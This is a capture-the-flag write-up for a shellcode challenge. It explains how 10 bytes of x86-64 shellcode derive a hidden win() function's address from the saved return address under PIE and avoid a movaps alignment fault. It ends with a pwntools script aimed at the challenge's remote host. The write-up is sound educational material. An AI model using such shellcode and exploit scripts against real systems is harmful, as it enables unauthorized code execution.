pwn4_win
pwn4_win
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: pie_relative_offset, saved_rip_self_relative_jump, shellcode_jump, stack_alignment_preservation, tiny_shellcode
Summary
Task: 64-bit PIE ELF with executable stack reads exactly 12 bytes onto the stack and calls them; a win() function reading /flag exists but its PIE address is unknown. Solution: write tiny shellcode that reads the saved return address already on the stack (base+0x12af), subtracts the constant PIE-invariant delta 0xea to compute win() (base+0x11c5), and jumps there without popping to keep rsp 16-byte aligned and avoid a movaps fault in fopen.
pwn4_win — pwn_spbctf
Description
Истина где-то рядом... с функцией main.
English: "The truth is somewhere near... main." — a hint that win() sits at a fixed,
small offset from main, i.e. the address of win() can be derived from something
already known at runtime rather than leaked.
Given: a 64-bit x86-64 ELF (win.elf), PIE enabled, no canary, and an
executable stack (RWX segments, GNU_STACK missing → Stack: Executable).
Goal: read /flag on the remote host (nc 109.233.56.90 11661).
Analysis
main @ 0x125f:
c read-only • copy allowedmemset(buf = [rbp-0xc], 0, 0xc); printf("Shellcode: "); read(0, buf, 0xc); // EXACTLY 12 bytes read onto the stack mov rdx, [rbp-0xc]; call rdx; // execute the 12 bytes (stack is RWX)
So the program reads exactly 12 bytes of attacker input onto the RWX stack and
jumps straight into them. The 12-byte limit is the core constraint — far too
small for execve("/bin/sh") and too small to embed a hardcoded address.
win @ 0x11c5:
c read-only • copy allowedfp = fopen("/flag", "r"); memset(...); fgets(buf, 0x40, fp); fclose(fp); buf[strcspn(buf, "\n")] = 0; printf("Flag is: %s", buf); exit(0);
win() does everything we need. The only problem: PIE means we don't know its
absolute address, so we cannot embed it in the shellcode.
Key insight — compute win() from the saved return address
When call rdx transfers control into our shellcode, the CPU has just pushed the
return address onto the stack. That return address is the instruction right
after call rdx:
[rsp] = saved RIP = PIE_base + 0x12af
win = PIE_base + 0x11c5
delta = 0x12af - 0x11c5 = 0xea (constant, PIE-invariant)
So our shellcode reads the value already at [rsp], subtracts 0xea, and jumps
there. Because win and the return site live in the same code page region, a
16-bit sub ax, 0xea is sufficient (the high bits are unchanged) — saving
precious bytes.
The movaps stack-alignment trap (critical debugging lesson)
The first working attempt used pop rax; sub ax,0xea; push rax; ret (7 bytes).
It reached win() but crashed inside fopen() with a movaps fault.
glibc 2.31+ uses aligned SSE moves (movaps xmm, [mem]) on the libc call path
(fopen, printf, system, ...). These fault if rsp is not 16-byte aligned
at the call site. The pop rax consumed 8 bytes off the stack, leaving rsp
off by 8 from where win's prologue expects it, so the SSE move inside fopen
hit a misaligned address and SIGSEGV'd.
Fix: do not pop. Read the saved RIP in place with mov rax,[rsp], leaving
rsp untouched and properly aligned, then jmp rax:
asm read-only • copy allowedmov rax, [rsp] ; 48 8b 04 24 rax = saved RIP = base+0x12af sub ax, 0xea ; 66 2d ea 00 rax = base+0x11c5 = win() jmp rax ; ff e0
= 10 bytes (≤ 12). Jumping (not ret) into win preserves the stack layout
so win's own prologue lands on a clean 16-byte boundary and movaps inside
fopen succeeds.
Solution
Build the 10-byte shellcode, send it after the Shellcode: prompt, and read
the flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time HOST, PORT = '109.233.56.90', 11661 # At shellcode entry, [rsp] = saved RIP = base+0x12af (return after `call rdx`). # win = base+0x11c5. delta = 0x12af - 0x11c5 = 0xea. # IMPORTANT: must preserve rsp alignment (rsp == 8 mod 16 at win entry) so that # movaps inside fopen() does not fault. So read [rsp] WITHOUT popping, then jmp. # mov rax,[rsp]; sub ax,0xea; jmp rax -> 48 8b 04 24 66 2d ea 00 ff e0 (10 bytes) sc = bytes.fromhex('488b0424662dea00ffe0') assert len(sc) <= 12 log.info("shellcode len = %d", len(sc)) io = remote(HOST, PORT) io.recvuntil(b'Shellcode: ') io.send(sc) time.sleep(0.6) data = io.recvall(timeout=4) print(data.decode(errors='replace')) io.close()
Output: Flag is: spbctf{REDACTED}. Submit via POST flag
on pwn.spbctf.ru to mark the tile solved.